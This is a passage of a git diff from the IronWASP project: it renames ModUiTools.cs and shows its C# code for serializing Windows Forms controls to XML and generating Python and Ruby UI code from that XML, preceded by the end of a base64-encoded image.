FhGAbHEr+S4mMg8z+y9kBBGADGE946nks5iIFPnIICIA2aMP+JVvIxJgbrVclCIfGUMEIGMMigLyVExk + FXC6byOEoYgAZJP7gAt8GxEjs6vl4v2+jRCGIgKQQWwUcDr5KCayHDn1mFlEADJKtVzMS5YcKfKRYUQA + ss14wi4m8iKS/zDTiABkmGq5+BhhZ8qtVMvFJ3wbIbgRAcg+k4HnfBvRAsuAKb6NEOojApBxquXi04T5 + Ik2ulovLfBsh1EcEIAxCKybyODDNtxHC8IgABIAtJjLJtx1N0CNFPsJABCAcziaMYiJLgXN9GyE0hghA + INhiIuN829EAY6XIRziIAITFLGCxbyPqcD9wvm8jhMYRAQiIarm4EjjNtx11OLVaLubpEFPuEQEIj0uA + e3wbEcFdwKW+jRCaQwQgMKrlYj9wim87IjjFFjoRAkIEIEyyVkxEinwEighAgNiCGlmKAk6RIh9hIgIQ + LlcBN/o2ApPO/BrfRgitIQIQKDaN+Cn4LSYiRT4CRwQgbK4D/uTx969BinwEjQhAwFjPOwo/xUTWYry/ + 78cgtIEIQPj8DbjSw+9egRT5CB4RgMCxHngU6RYT6UdKfOUCEYB8cCfw6xR/7zLMzj8hcEQAcoD1xKNJ + p5jIaqTEV24QAcgPaRUTOR9z6k/IASIAOcF65DHAygR/ZgUwRrx/fhAByBHVcnEJyWbj6a2Wiw/5vk8h + PkQA8kcPyRQTkSIfOUQEIGdUy8VHgV8m0PU0KfKRP0QA8skk4NkY+1uGKVAi5AwRgBxSLRefAabG2OUU + KfKRT0QA8svPiaeYyOOYwiRCDhEByCm2mMjEGLqSIh85RgQg35wDPNLG96XIR84RAcgx1XLxZWBsG11I + kY+cIwKQf2YCD7TwvfuB2b6NF5JFBCDnVMvFVbRWTOQ0+10hx4gAdAYX01wxkbuAub6NFpJHBKADsMVE + RjfxldFS5KMzEAHoHH5DY8VEbgfm+TZWSAcRgA6hwWIiAxjvL2m+OwQRgM7iKuCmOu03AFf7NlJIDxGA + DmJQGvEoDz8AjBLv31ls4tsAIXWuA7aPuH4T8JRv4wRBEARBEARBEARBEARBEARBEARBEARBEARBEARB + EARBEARBEARBEIQI/h+hEP2A1kjQfgAAAABJRU5ErkJggg== + + + \ No newline at end of file diff --git a/IronWASP/ModUiTools.cs b/Iron/ModUiTools.cs similarity index 89% rename from IronWASP/ModUiTools.cs rename to Iron/ModUiTools.cs index f782750..4dda1db 100644 --- a/IronWASP/ModUiTools.cs +++ b/Iron/ModUiTools.cs @@ -1,1919 +1,2131 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Xml; -using System.IO; -using System.Windows.Forms; -using System.Drawing; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class ModUiTools - { - List ControlNamesRead = new List(); - List ControlNamesUsed = new List(); - int ControlNameCounter = 1; - #region XmlCreation - internal static string XmlFromFormControl(Form F) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.Ui)); - //SB.Append(XmlFromControlNameProperty(F.Name)); - //properties - SB.Append(StartTag(ModUiTags.Properties)); - SB.Append(XmlFromControlSizeProperty(F.Size)); - SB.Append(XmlFromControlTextProperty(F.Text)); - SB.Append(StartTag(ModUiTags.Icon)); - /**/ - MemoryStream MS = new MemoryStream(); - /**/ - F.Icon.Save(MS); - /**/ - SB.Append(Convert.ToBase64String(MS.ToArray())); - SB.Append(EndTag(ModUiTags.Icon)); - - SB.Append(EndTag(ModUiTags.Properties)); - //event handlers - SB.Append(XmlFromEventHandlers(ModUi.EventHandlers)); - //children - SB.Append(XmlFromControlChildrenProperty(F.Controls)); - - SB.Append(EndTag(ModUiTags.Ui)); - return SB.ToString(); - } - - static string XmlFromControl(Control C) - { - StringBuilder SB = new StringBuilder(); - switch (C.GetType().Name) - { - case (ModUiTags.ModTextBox): - SB.Append(XmlFromModTextBoxControl(C as ModTextBox)); - break; - case (ModUiTags.ModRichTextBox): - SB.Append(XmlFromModRichTextBoxControl(C as ModRichTextBox)); - break; - case (ModUiTags.ModLabel): - SB.Append(XmlFromModLabelControl(C as ModLabel)); - break; - case (ModUiTags.ModButton): - SB.Append(XmlFromModButtonControl(C as ModButton)); - break; - case (ModUiTags.ModCheckBox): - SB.Append(XmlFromModCheckBoxControl(C as ModCheckBox)); - break; - case (ModUiTags.ModRadioButton): - SB.Append(XmlFromModRadioButtonControl(C as ModRadioButton)); - break; - case (ModUiTags.ModDataGridView): - SB.Append(XmlFromModDataGridViewControl(C as ModDataGridView)); - break; - case (ModUiTags.ModPanel): - SB.Append(XmlFromModPanelControl(C as ModPanel)); - break; - case (ModUiTags.ModTabControl): - SB.Append(XmlFromModTabControl(C as ModTabControl)); - break; - } - return SB.ToString(); - } - static string XmlFromModTextBoxControl(ModTextBox C) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.ModTextBox)); - SB.Append(XmlFromControlNameProperty(C)); - SB.Append(StartTag(ModUiTags.Properties)); - //basic properties - SB.Append(XmlFromBasicProperties(C)); - //textbox specific properties - SB.Append(XmlFromControlBorderStyleProperty(C.BorderStyle)); - SB.Append(XmlFromControlReadOnlyProperty(C.ReadOnly)); - SB.Append(XmlFromControlScrollBarsProperty(C.ScrollBars)); - SB.Append(XmlFromControlFontProperty(C.Font)); - SB.Append(XmlFromControlMultiLineProperty(C.Multiline)); - SB.Append(XmlFromControlPasswordCharProperty(C.PasswordChar)); - SB.Append(XmlFromControlWordWrapProperty(C.WordWrap)); - SB.Append(XmlFromControlTextAlignProperty(C.TextAlign)); - SB.Append(XmlFromControlTextProperty(C.Text)); - SB.Append(EndTag(ModUiTags.Properties)); - - SB.Append(XmlFromEventHandlers(C.EventHandlers)); - - SB.Append(EndTag(ModUiTags.ModTextBox)); - - return SB.ToString(); - } - static string XmlFromModRichTextBoxControl(ModRichTextBox C) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.ModRichTextBox)); - SB.Append(XmlFromControlNameProperty(C)); - SB.Append(StartTag(ModUiTags.Properties)); - //basic properties - SB.Append(XmlFromBasicProperties(C)); - //textbox specific properties - SB.Append(XmlFromControlBorderStyleProperty(C.BorderStyle)); - SB.Append(XmlFromControlReadOnlyProperty(C.ReadOnly)); - SB.Append(XmlFromControlScrollBarsProperty(C.ScrollBars)); - SB.Append(XmlFromControlFontProperty(C.Font)); - SB.Append(XmlFromControlMultiLineProperty(C.Multiline)); - SB.Append(XmlFromControlWordWrapProperty(C.WordWrap)); - SB.Append(XmlFromControlTextProperty(C.Text)); - //richtextbox specific properties - SB.Append(XmlFromControlDetectUrlsProperty(C.DetectUrls)); - SB.Append(XmlFromControlRichTextProperty(C.Rtf)); - SB.Append(EndTag(ModUiTags.Properties)); - - SB.Append(XmlFromEventHandlers(C.EventHandlers)); - - SB.Append(EndTag(ModUiTags.ModRichTextBox)); - - return SB.ToString(); - } - static string XmlFromModLabelControl(ModLabel C) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.ModLabel)); - SB.Append(XmlFromControlNameProperty(C)); - SB.Append(StartTag(ModUiTags.Properties)); - //basic properties - SB.Append(XmlFromBasicProperties(C)); - //label specific properties - SB.Append(XmlFromControlBorderStyleProperty(C.BorderStyle)); - SB.Append(XmlFromControlFontProperty(C.Font)); - SB.Append(XmlFromControlTextProperty(C.Text)); - SB.Append(EndTag(ModUiTags.Properties)); - - SB.Append(XmlFromEventHandlers(C.EventHandlers)); - - SB.Append(EndTag(ModUiTags.ModLabel)); - - return SB.ToString(); - } - static string XmlFromModButtonControl(ModButton C) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.ModButton)); - SB.Append(XmlFromControlNameProperty(C)); - SB.Append(StartTag(ModUiTags.Properties)); - //basic properties - SB.Append(XmlFromBasicProperties(C)); - //button specific properties - SB.Append(XmlFromControlFontProperty(C.Font)); - SB.Append(XmlFromControlTextProperty(C.Text)); - SB.Append(EndTag(ModUiTags.Properties)); - - SB.Append(XmlFromEventHandlers(C.EventHandlers)); - - SB.Append(EndTag(ModUiTags.ModButton)); - - return SB.ToString(); - } - static string XmlFromModCheckBoxControl(ModCheckBox C) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.ModCheckBox)); - SB.Append(XmlFromControlNameProperty(C)); - SB.Append(StartTag(ModUiTags.Properties)); - //basic properties - SB.Append(XmlFromBasicProperties(C)); - //checkbox specific properties - SB.Append(XmlFromControlFontProperty(C.Font)); - SB.Append(XmlFromControlTextProperty(C.Text)); - SB.Append(XmlFromControlCheckedProperty(C.Checked)); - SB.Append(EndTag(ModUiTags.Properties)); - - SB.Append(XmlFromEventHandlers(C.EventHandlers)); - - SB.Append(EndTag(ModUiTags.ModCheckBox)); - - return SB.ToString(); - } - static string XmlFromModRadioButtonControl(ModRadioButton C) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.ModRadioButton)); - SB.Append(XmlFromControlNameProperty(C)); - SB.Append(StartTag(ModUiTags.Properties)); - //basic properties - SB.Append(XmlFromBasicProperties(C)); - //textbox specific properties - SB.Append(XmlFromControlFontProperty(C.Font)); - SB.Append(XmlFromControlTextProperty(C.Text)); - SB.Append(XmlFromControlCheckedProperty(C.Checked)); - SB.Append(EndTag(ModUiTags.Properties)); - - SB.Append(XmlFromEventHandlers(C.EventHandlers)); - - SB.Append(EndTag(ModUiTags.ModRadioButton)); - - return SB.ToString(); - } - static string XmlFromModDataGridViewControl(ModDataGridView C) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.ModDataGridView)); - SB.Append(XmlFromControlNameProperty(C)); - SB.Append(StartTag(ModUiTags.Properties)); - //basic properties - SB.Append(XmlFromBasicProperties(C)); - //textbox specific properties - SB.Append(XmlFromAllowUserToAddRowsProperty(C.AllowUserToAddRows)); - SB.Append(XmlFromAllowUserToDeleteRowsProperty(C.AllowUserToDeleteRows)); - SB.Append(XmlFromAllowUserToOrderColumnsProperty(C.AllowUserToOrderColumns)); - SB.Append(XmlFromAllowUserToResizeColumnsProperty(C.AllowUserToResizeColumns)); - SB.Append(XmlFromAllowUserToResizeRowsProperty(C.AllowUserToResizeRows)); - SB.Append(XmlFromColumnHeadersVisibleProperty(C.ColumnHeadersVisible)); - SB.Append(XmlFromRowHeadersVisibleProperty(C.RowHeadersVisible)); - //SB.Append(XmlFromColumnHeadersDefaultCellStyleProperty(C.ColumnHeadersDefaultCellStyle)); - SB.Append(XmlFromColumnHeadersHeightSizeModeProperty(C.ColumnHeadersHeightSizeMode)); - SB.Append(XmlFromControlSelectionModeProperty(C.SelectionMode)); - SB.Append(XmlFromControlGridColorProperty(C.GridColor)); - SB.Append(XmlFromColumnsProperty(C.Columns)); - SB.Append(EndTag(ModUiTags.Properties)); - - SB.Append(XmlFromEventHandlers(C.EventHandlers)); - - SB.Append(EndTag(ModUiTags.ModDataGridView)); - - return SB.ToString(); - } - static string XmlFromModPanelControl(ModPanel C) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.ModPanel)); - SB.Append(XmlFromControlNameProperty(C)); - SB.Append(StartTag(ModUiTags.Properties)); - //basic properties - SB.Append(XmlFromBasicProperties(C)); - SB.Append(EndTag(ModUiTags.Properties)); - //child controls - SB.Append(XmlFromControlChildrenProperty(C.Controls)); - SB.Append(XmlFromEventHandlers(C.EventHandlers)); - - SB.Append(EndTag(ModUiTags.ModPanel)); - - return SB.ToString(); - } - static string XmlFromModTabControl(ModTabControl C) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.ModTabControl)); - SB.Append(XmlFromControlNameProperty(C)); - SB.Append(StartTag(ModUiTags.Properties)); - //basic properties - SB.Append(XmlFromBasicProperties(C)); - //tab pages - SB.Append(StartTag(ModUiTags.TabPages)); - foreach (TabPage T in C.TabPages) - { - SB.Append(XmlFromTabPageControl(T)); - } - SB.Append(EndTag(ModUiTags.TabPages)); - SB.Append(EndTag(ModUiTags.Properties)); - //child controls - SB.Append(XmlFromControlChildrenProperty(C.Controls)); - SB.Append(XmlFromEventHandlers(C.EventHandlers)); - - SB.Append(EndTag(ModUiTags.ModTabControl)); - - return SB.ToString(); - } - static string XmlFromTabPageControl(TabPage C) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.TabPage)); - SB.Append(XmlFromControlNameProperty(C)); - SB.Append(StartTag(ModUiTags.Properties)); - //basic properties - //SB.Append(XmlFromBasicProperties(C)); - //tabpage properties - SB.Append(XmlFromTagValue(ModUiTags.Text, C.Text)); - SB.Append(EndTag(ModUiTags.Properties)); - //child controls - SB.Append(XmlFromControlChildrenProperty(C.Controls)); - //SB.Append(XmlFromEventHandlers(new Dictionary{})); - SB.Append(EndTag(ModUiTags.TabPage)); - - return SB.ToString(); - } - - static string XmlFromBasicProperties(Control C) - { - StringBuilder SB = new StringBuilder(); - SB.Append(XmlFromControlSizeProperty(C.Size)); - SB.Append(XmlFromControlLocationProperty(C)); - SB.Append(XmlFromControlAnchorProperty(C)); - SB.Append(XmlFromControlDockProperty(C)); - SB.Append(XmlFromControlEnabledProperty(C)); - //SB.Append(XmlFromControlVisibleProperty(C)); - if (C.GetType() == typeof(ModDataGridView)) - SB.Append(XmlFromControlBackgroundColorProperty((C as DataGridView).BackgroundColor)); - else - SB.Append(XmlFromControlBackColorProperty(C.BackColor)); - SB.Append(XmlFromControlForeColorProperty(C.ForeColor)); - return SB.ToString(); - } - static string XmlFromControlNameProperty(Control C) - { - string Name = ""; - if(C.Name.Equals(C.Site.Name)) - { - Name = C.Name; - } - else - { - if(C.Site.Name.Length > 0) - Name = C.Site.Name; - else - Name = C.Name; - } - return XmlFromControlNameProperty(Name); - } - static string XmlFromControlNameProperty(String Name) - { - return XmlFromTagValue(ModUiTags.Name, Name); - } - static string XmlFromControlSizeProperty(Size S) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.Size)); - SB.Append(XmlFromTagValue(ModUiTags.SizeWidth, S.Width)); - SB.Append(XmlFromTagValue(ModUiTags.SizeHeight, S.Height)); - SB.Append(EndTag(ModUiTags.Size)); - return SB.ToString(); - } - static string XmlFromControlLocationProperty(Control C) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.Location)); - SB.Append(XmlFromTagValue(ModUiTags.LocationX, C.Location.X)); - SB.Append(XmlFromTagValue(ModUiTags.LocationY, C.Location.Y)); - SB.Append(EndTag(ModUiTags.Location)); - return SB.ToString(); - } - static string XmlFromControlEnabledProperty(Control C) - { - return XmlFromTagValue(ModUiTags.Enabled, C.Enabled); - } - static string XmlFromControlVisibleProperty(Control C) - { - return XmlFromTagValue(ModUiTags.Visible, C.Visible); - } - static string XmlFromControlReadOnlyProperty(bool ReadOnly) - { - return XmlFromTagValue(ModUiTags.ReadOnly, ReadOnly); - } - static string XmlFromControlAnchorProperty(Control C) - { - List RawAnchors = new List(C.Anchor.ToString().Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)); - List Anchors = new List(); - foreach (string Anchor in RawAnchors) - { - Anchors.Add(Anchor.Trim()); - } - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.Anchor)); - SB.Append(XmlFromTagValue(ModUiTags.AnchorTop, Anchors.Contains("Top"))); - SB.Append(XmlFromTagValue(ModUiTags.AnchorBottom, Anchors.Contains("Bottom"))); - SB.Append(XmlFromTagValue(ModUiTags.AnchorLeft, Anchors.Contains("Left"))); - SB.Append(XmlFromTagValue(ModUiTags.AnchorRight, Anchors.Contains("Right"))); - SB.Append(EndTag(ModUiTags.Anchor)); - return SB.ToString(); - } - static string XmlFromControlDockProperty(Control C) - { - string DockStyleName = C.Dock.ToString(); - return XmlFromTagValue(ModUiTags.Dock, DockStyleName); - } - static string XmlFromControlFontProperty(Font F) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.Font)); - SB.Append(XmlFromTagValue(ModUiTags.FontBold, F.Bold)); - SB.Append(XmlFromTagValue(ModUiTags.FontFamily, F.FontFamily.Name)); - SB.Append(XmlFromTagValue(ModUiTags.FontItalic, F.Italic)); - SB.Append(XmlFromTagValue(ModUiTags.FontSize, F.Size)); - SB.Append(XmlFromTagValue(ModUiTags.FontStrikeout, F.Strikeout)); - SB.Append(XmlFromTagValue(ModUiTags.FontUnderline, F.Underline)); - SB.Append(EndTag(ModUiTags.Font)); - return SB.ToString(); - } - static string XmlFromControlBorderStyleProperty(BorderStyle BS) - { - return XmlFromTagValue(ModUiTags.BorderStyle, BS); - } - static string XmlFromControlTextProperty(string Text) - { - return XmlFromTagValue(ModUiTags.Text, Tools.Base64Encode(Text)); - } - static string XmlFromControlRichTextProperty(string RichText) - { - return XmlFromTagValue(ModUiTags.Rtf, Tools.Base64Encode(RichText)); - } - static string XmlFromControlBackColorProperty(Color C) - { - return XmlFromTagValue(ModUiTags.BackColor, C.ToArgb()); - } - static string XmlFromControlForeColorProperty(Color C) - { - return XmlFromTagValue(ModUiTags.ForeColor, C.ToArgb()); - } - static string XmlFromControlPasswordCharProperty(Char PasswordChar) - { - if (PasswordChar == '\0') - return XmlFromTagValue(ModUiTags.PasswordChar, ""); - else - return XmlFromTagValue(ModUiTags.PasswordChar, PasswordChar); - } - static string XmlFromControlMultiLineProperty(bool MultiLine) - { - return XmlFromTagValue(ModUiTags.MultiLine, MultiLine); - } - static string XmlFromControlWordWrapProperty(bool WordWrap) - { - return XmlFromTagValue(ModUiTags.Wordwrap, WordWrap); - } - static string XmlFromControlTextAlignProperty(HorizontalAlignment TextAlign) - { - return XmlFromTagValue(ModUiTags.TextAlign, TextAlign); - } - static string XmlFromControlScrollBarsProperty(ScrollBars ScBars) - { - return XmlFromTagValue(ModUiTags.ScrollBars, ScBars); - } - static string XmlFromControlScrollBarsProperty(RichTextBoxScrollBars ScBars) - { - return XmlFromTagValue(ModUiTags.RichTextScrollBars, ScBars); - } - static string XmlFromControlDetectUrlsProperty(bool DetectUrls) - { - return XmlFromTagValue(ModUiTags.DetectUrls, DetectUrls); - } - static string XmlFromControlCheckedProperty(bool Checked) - { - return XmlFromTagValue(ModUiTags.Checked, Checked); - } - static string XmlFromAllowUserToAddRowsProperty(bool Allow) - { - return XmlFromTagValue(ModUiTags.AllowUserToAddRows, Allow); - } - static string XmlFromAllowUserToDeleteRowsProperty(bool Allow) - { - return XmlFromTagValue(ModUiTags.AllowUserToDeleteRows, Allow); - } - static string XmlFromAllowUserToOrderColumnsProperty(bool Allow) - { - return XmlFromTagValue(ModUiTags.AllowUserToOrderColumns, Allow); - } - static string XmlFromAllowUserToResizeColumnsProperty(bool Allow) - { - return XmlFromTagValue(ModUiTags.AllowUserToResizeColumns, Allow); - } - static string XmlFromAllowUserToResizeRowsProperty(bool Allow) - { - return XmlFromTagValue(ModUiTags.AllowUserToResizeRows, Allow); - } - static string XmlFromColumnHeadersVisibleProperty(bool Visible) - { - return XmlFromTagValue(ModUiTags.ColumnHeadersVisible, Visible); - } - static string XmlFromRowHeadersVisibleProperty(bool Visible) - { - return XmlFromTagValue(ModUiTags.RowHeadersVisible, Visible); - } - static string XmlFromColumnHeadersDefaultCellStyleProperty(DataGridViewCellStyle CellStyle) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.DefaultCellStyle)); - SB.Append(XmlFromDataGridViewCellStyle(CellStyle)); - SB.Append(EndTag(ModUiTags.DefaultCellStyle)); - return SB.ToString(); - } - static string XmlFromDataGridViewCellStyle(DataGridViewCellStyle CellStyle) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.DefaultCellStyle)); - SB.Append(XmlFromTagValue(ModUiTags.CellStyleAlignment, CellStyle.Alignment.ToString())); - SB.Append(StartTag(ModUiTags.Font)); - SB.Append(XmlFromControlFontProperty(CellStyle.Font)); - SB.Append(EndTag(ModUiTags.Font)); - SB.Append(XmlFromTagValue(ModUiTags.BackColor, CellStyle.BackColor)); - SB.Append(XmlFromTagValue(ModUiTags.ForeColor, CellStyle.ForeColor)); - SB.Append(XmlFromTagValue(ModUiTags.CellStyleWrapMode, CellStyle.WrapMode)); - SB.Append(StartTag(ModUiTags.DefaultCellStyle)); - return SB.ToString(); - } - static string XmlFromColumnHeadersHeightSizeModeProperty(DataGridViewColumnHeadersHeightSizeMode SizeMode) - { - return XmlFromTagValue(ModUiTags.ColumnHeadersHeightSizeMode, SizeMode); - } - - static string XmlFromControlGridColorProperty(Color C) - { - return XmlFromTagValue(ModUiTags.GridColor, C.ToArgb()); - } - static string XmlFromControlBackgroundColorProperty(Color C) - { - return XmlFromTagValue(ModUiTags.BackgroundColor, C.ToArgb()); - } - static string XmlFromControlSelectionModeProperty(DataGridViewSelectionMode SelectionMode) - { - return XmlFromTagValue(ModUiTags.SelectionMode, SelectionMode); - } - static string XmlFromColumnsProperty(DataGridViewColumnCollection Columns) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.Columns)); - foreach (DataGridViewColumn Column in Columns) - { - SB.Append(XmlFromColumnProperty(Column)); - } - SB.Append(EndTag(ModUiTags.Columns)); - return SB.ToString(); - } - static string XmlFromColumnProperty(DataGridViewColumn Column) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.Column)); - SB.Append(XmlFromControlNameProperty(Column.Name)); - SB.Append(XmlFromTagValue(ModUiTags.CellType, Column.CellType.Name)); - SB.Append(XmlFromTagValue(ModUiTags.AutoSizeColumnsMode, Column.AutoSizeMode)); - SB.Append(XmlFromTagValue(ModUiTags.FillWeight, Column.FillWeight)); - SB.Append(XmlFromTagValue(ModUiTags.MinimumWidth, Column.MinimumWidth)); - SB.Append(XmlFromTagValue(ModUiTags.Width, Column.Width)); - SB.Append(XmlFromControlReadOnlyProperty(Column.ReadOnly)); - //SB.Append(XmlFromDataGridViewCellStyle(Column.DefaultCellStyle)); - //SB.Append(XmlFromControlFillWeightProperty(Column.FillWeight)); - SB.Append(XmlFromControlHeaderTextProperty(Column.HeaderText)); - SB.Append(EndTag(ModUiTags.Column)); - return SB.ToString(); - } - static string XmlFromControlWrapModeProperty(DataGridViewTriState WrapMode) - { - return XmlFromTagValue(ModUiTags.CellStyleWrapMode, WrapMode); - } - static string XmlFromControlHeaderTextProperty(string HeaderText) - { - return XmlFromTagValue(ModUiTags.HeaderText, Tools.Base64Encode(HeaderText)); - } - static string XmlFromControlChildrenProperty(Control.ControlCollection Children) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.Children)); - if (Children != null) - { - foreach (Control ChildControl in Children) - { - SB.Append(XmlFromControl(ChildControl)); - } - } - SB.Append(EndTag(ModUiTags.Children)); - return SB.ToString(); - } - static string XmlFromEventHandlers(Dictionary EventHandlers) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(ModUiTags.EventHandlers)); - foreach (string Event in EventHandlers.Keys) - { - SB.Append(StartTag(Event)); - SB.Append(EventHandlers[Event]); - SB.Append(EndTag(Event)); - } - SB.Append(EndTag(ModUiTags.EventHandlers)); - return SB.ToString(); - } - static string XmlFromTagValue(string TagName, object Value) - { - StringBuilder SB = new StringBuilder(); - SB.Append(StartTag(TagName)); SB.Append(Tools.XmlEncode(Value.ToString())); SB.Append(EndTag(TagName)); - return SB.ToString(); - } - static string StartTag(string TagName) - { - return String.Format("<{0}>", TagName); - } - static string EndTag(string TagName) - { - return String.Format("", TagName); - } - #endregion - - #region CodeCreation - public static ModCodeAndControlHolder XmlToCode(string UiXml) - { - return XmlToCode(UiXml, new Form()); - } - public static ModCodeAndControlHolder XmlToCode(string UiXml, Form F) - { - ModUiTools MUT = new ModUiTools(); - return MUT.RawXmlToCode(UiXml, F); - } - ModCodeAndControlHolder RawXmlToCode(string UiXml, Form F) - { - ModCodeAndControlHolder Result = new ModCodeAndControlHolder(); - XmlDocument XDoc = new XmlDocument(); - XDoc.LoadXml(UiXml); - MemoryStream MS = new MemoryStream(); - XmlTextWriter XWriter = new XmlTextWriter(MS, Encoding.ASCII); - XWriter.Formatting = Formatting.Indented; - XDoc.WriteContentTo(XWriter); - XWriter.Flush(); - MS.Flush(); - MS.Position = 0; - StreamReader SR = new StreamReader(MS); - Result.XmlCode = SR.ReadToEnd(); - ModCodeAndControlHolder PyRbControlResult = XmlToCode(XDoc, F); - Result.PyCode = PyRbControlResult.PyCode; - Result.RbCode = PyRbControlResult.RbCode; - Result.Control = PyRbControlResult.Control; - return Result; - } - ModCodeAndControlHolder XmlToCode(XmlDocument XDoc, Form F) - { - XmlNode UiTagNode = XDoc.ChildNodes[0]; - ReadAllControlNames(UiTagNode); - StringBuilder PyCode = new StringBuilder(); - StringBuilder RbCode = new StringBuilder(); - PyCode.AppendLine("ui = ModUi()"); - RbCode.AppendLine("ui = ModUi.new()"); - - ModCodeAndControlHolder Result = new ModCodeAndControlHolder(); - if (XDoc.DocumentElement.Name.Equals("UI", StringComparison.OrdinalIgnoreCase)) - { - ModCodeAndControlHolder CPECC = ConvertControlPropertiesEventHandlersChildrenToCode(UiTagNode, "ui", F); - PyCode.Append(CPECC.PyCode); - PyCode.AppendLine("ui.ShowUi()"); - RbCode.Append(CPECC.RbCode); - RbCode.AppendLine("ui.ShowUi()"); - } - else - { - throw new Exception("Invalid UI description. Outermost tag must be the tag."); - } - Result.PyCode = PyCode.ToString(); - Result.RbCode = RbCode.ToString(); - Result.Control = F; - return Result; - } - void ReadAllControlNames(XmlNode Node) - { - foreach (XmlNode ChildNode in Node.ChildNodes) - { - if (ChildNode.Name.Equals(ModUiTags.Name)) - { - if (!ControlNamesRead.Contains(ChildNode.InnerText)) - ControlNamesRead.Add(ChildNode.InnerText); - } - else if (ChildNode.Equals(ModUiTags.Children)) - ReadAllControlNames(ChildNode); - } - } - string GetControlName(string ControlType, string CurrentName) - { - if (CurrentName.Length > 0 && !ControlNamesUsed.Contains(CurrentName)) - { - ControlNamesUsed.Add(CurrentName); - return CurrentName; - } - else - { - while (true) - { - string Name = String.Format("{0}_{1}", Tools.CamelCaseToUnderScore(ControlType), ControlNameCounter); - if (ControlNamesRead.Contains(Name) || ControlNamesUsed.Contains(Name)) - { - ControlNameCounter++; - } - else - { - ControlNamesUsed.Add(Name); - return Name; - } - } - } - } - ModCodeAndControlHolder ConvertControlPropertiesEventHandlersChildrenToCode(XmlNode Node, string ControlName, Control C) - { - XmlNode PropertiesNode = null; - XmlNode EventHandlersNode = null; - XmlNode ChildrenNode = null; - foreach (XmlNode SubNode in Node.ChildNodes) - { - switch (SubNode.Name) - { - case (ModUiTags.Properties): - PropertiesNode = SubNode; - break; - case (ModUiTags.EventHandlers): - EventHandlersNode = SubNode; - break; - case (ModUiTags.Children): - ChildrenNode = SubNode; - break; - default: - continue; - } - } - StringBuilder PyCode = new StringBuilder(); - StringBuilder RbCode = new StringBuilder(); - ModCodeAndControlHolder NodeResults = new ModCodeAndControlHolder(); - if (PropertiesNode != null) - { - NodeResults = ConvertControlPropertiesNodeToCode(PropertiesNode, ControlName, C); - PyCode.Append(NodeResults.PyCode); - RbCode.Append(NodeResults.RbCode); - } - if (EventHandlersNode != null) - { - NodeResults = ConvertControlEventHandlersNodeToCode(EventHandlersNode, ControlName, C); - PyCode.Append(NodeResults.PyCode); - RbCode.Append(NodeResults.RbCode); - } - if (ChildrenNode != null) - { - NodeResults = ConvertControlChildXmlNodesToCode(ChildrenNode, ControlName, C); - PyCode.Append(NodeResults.PyCode); - RbCode.Append(NodeResults.RbCode); - } - ModCodeAndControlHolder Result = new ModCodeAndControlHolder(); - Result.PyCode = PyCode.ToString(); - Result.RbCode = RbCode.ToString(); - Result.Control = C; - return Result; - } - ModCodeAndControlHolder ConvertControlPropertiesNodeToCode(XmlNode PropertiesNode, string ControlName, Control C) - { - StringBuilder PyCode = new StringBuilder(); - StringBuilder RbCode = new StringBuilder(); - foreach (XmlNode ChildNode in PropertiesNode.ChildNodes) - { - ModCodeAndControlHolder PropertyCode = ConvertControlPropertyNodeToCode(ChildNode, ControlName, C); - PyCode.Append(PropertyCode.PyCode); - RbCode.Append(PropertyCode.RbCode); - } - ModCodeAndControlHolder Result = new ModCodeAndControlHolder(); - Result.PyCode = PyCode.ToString(); - Result.RbCode = RbCode.ToString(); - Result.Control = C; - return Result; - } - ModCodeAndControlHolder ConvertControlPropertyNodeToCode(XmlNode PropertyNode, string ControlName, Control C) - { - StringBuilder PyCode = new StringBuilder(); - StringBuilder RbCode = new StringBuilder(); - switch (PropertyNode.Name) - { - case (ModUiTags.Size): - SetSizeInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.Location): - SetLocationInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.Anchor): - SetAnchorInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.Dock): - SetDockStyleInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.Enabled): - SetEnabledInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.Visible): - SetVisibleInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; - case (ModUiTags.BackColor): - SetBackColorInCode(PyCode, RbCode, ControlName, C, PropertyNode); - break; 